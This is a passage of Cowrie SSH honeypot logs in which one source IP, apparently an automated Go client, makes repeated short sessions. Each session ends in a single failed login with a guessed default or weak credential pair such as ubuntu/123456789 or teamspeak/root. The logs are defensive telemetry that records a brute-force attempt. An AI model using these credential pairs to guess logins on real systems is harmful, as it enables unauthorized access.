ert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:37.225597Z","src_ip":"192.109.200.78","session":"8216a3ba29d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"12345","message":"login attempt [installer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:37.469193Z","src_ip":"192.109.200.78","session":"8216a3ba29d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:38.553066Z","src_ip":"192.109.200.78","session":"8216a3ba29d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33458,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dbe2f873951","protocol":"ssh","message":"New connection: 192.109.200.78:33458 (10.17.0.5:22) [session: 7dbe2f873951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:40.459098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:40.463070Z","src_ip":"192.109.200.78","session":"7dbe2f873951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:40.543815Z","src_ip":"192.109.200.78","session":"7dbe2f873951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:40.786228Z","src_ip":"192.109.200.78","session":"7dbe2f873951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:41.881643Z","src_ip":"192.109.200.78","session":"7dbe2f873951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51048,"dst_ip":"10.17.0.5","dst_port":22,"session":"b135e1fb52f1","protocol":"ssh","message":"New connection: 192.109.200.78:51048 (10.17.0.5:22) [session: b135e1fb52f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:43.894638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:43.897665Z","src_ip":"192.109.200.78","session":"b135e1fb52f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:43.979353Z","src_ip":"192.109.200.78","session":"b135e1fb52f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"abc123","message":"login attempt [sam/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:44.223487Z","src_ip":"192.109.200.78","session":"b135e1fb52f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:45.319555Z","src_ip":"192.109.200.78","session":"b135e1fb52f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51050,"dst_ip":"10.17.0.5","dst_port":22,"session":"397dadb1ae67","protocol":"ssh","message":"New connection: 192.109.200.78:51050 (10.17.0.5:22) [session: 397dadb1ae67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:47.442111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:47.602428Z","src_ip":"192.109.200.78","session":"397dadb1ae67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:47.605882Z","src_ip":"192.109.200.78","session":"397dadb1ae67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1","message":"login attempt [test/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:47.945667Z","src_ip":"192.109.200.78","session":"397dadb1ae67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:49.028669Z","src_ip":"192.109.200.78","session":"397dadb1ae67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51052,"dst_ip":"10.17.0.5","dst_port":22,"session":"11abe090c402","protocol":"ssh","message":"New connection: 192.109.200.78:51052 (10.17.0.5:22) [session: 11abe090c402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:50.954465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:50.957415Z","src_ip":"192.109.200.78","session":"11abe090c402","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:51.037237Z","src_ip":"192.109.200.78","session":"11abe090c402","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:51.279973Z","src_ip":"192.109.200.78","session":"11abe090c402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:52.363588Z","src_ip":"192.109.200.78","session":"11abe090c402","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47254,"dst_ip":"10.17.0.5","dst_port":22,"session":"74f9b8a060bc","protocol":"ssh","message":"New connection: 192.109.200.78:47254 (10.17.0.5:22) [session: 74f9b8a060bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:54.346639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:54.350337Z","src_ip":"192.109.200.78","session":"74f9b8a060bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:54.430938Z","src_ip":"192.109.200.78","session":"74f9b8a060bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"test","message":"login attempt [appuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:54.674852Z","src_ip":"192.109.200.78","session":"74f9b8a060bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:55.761579Z","src_ip":"192.109.200.78","session":"74f9b8a060bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47258,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ffda40e7b0b","protocol":"ssh","message":"New connection: 192.109.200.78:47258 (10.17.0.5:22) [session: 4ffda40e7b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:57.837744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:57.842061Z","src_ip":"192.109.200.78","session":"4ffda40e7b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:57.978970Z","src_ip":"192.109.200.78","session":"4ffda40e7b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:58.414903Z","src_ip":"192.109.200.78","session":"4ffda40e7b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:59.498968Z","src_ip":"192.109.200.78","session":"4ffda40e7b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47262,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d2675147a9e","protocol":"ssh","message":"New connection: 192.109.200.78:47262 (10.17.0.5:22) [session: 9d2675147a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:01.547442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:01.554399Z","src_ip":"192.109.200.78","session":"9d2675147a9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:01.638651Z","src_ip":"192.109.200.78","session":"9d2675147a9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:01.913356Z","src_ip":"192.109.200.78","session":"9d2675147a9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:02.998684Z","src_ip":"192.109.200.78","session":"9d2675147a9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40910,"dst_ip":"10.17.0.5","dst_port":22,"session":"48efe58096b1","protocol":"ssh","message":"New connection: 192.109.200.78:40910 (10.17.0.5:22) [session: 48efe58096b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:04.890110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:04.894566Z","src_ip":"192.109.200.78","session":"48efe58096b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:04.979985Z","src_ip":"192.109.200.78","session":"48efe58096b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"root","message":"login attempt [teamspeak/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:05.234411Z","src_ip":"192.109.200.78","session":"48efe58096b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:06.375182Z","src_ip":"192.109.200.78","session":"48efe58096b1","protocol":"ssh"}
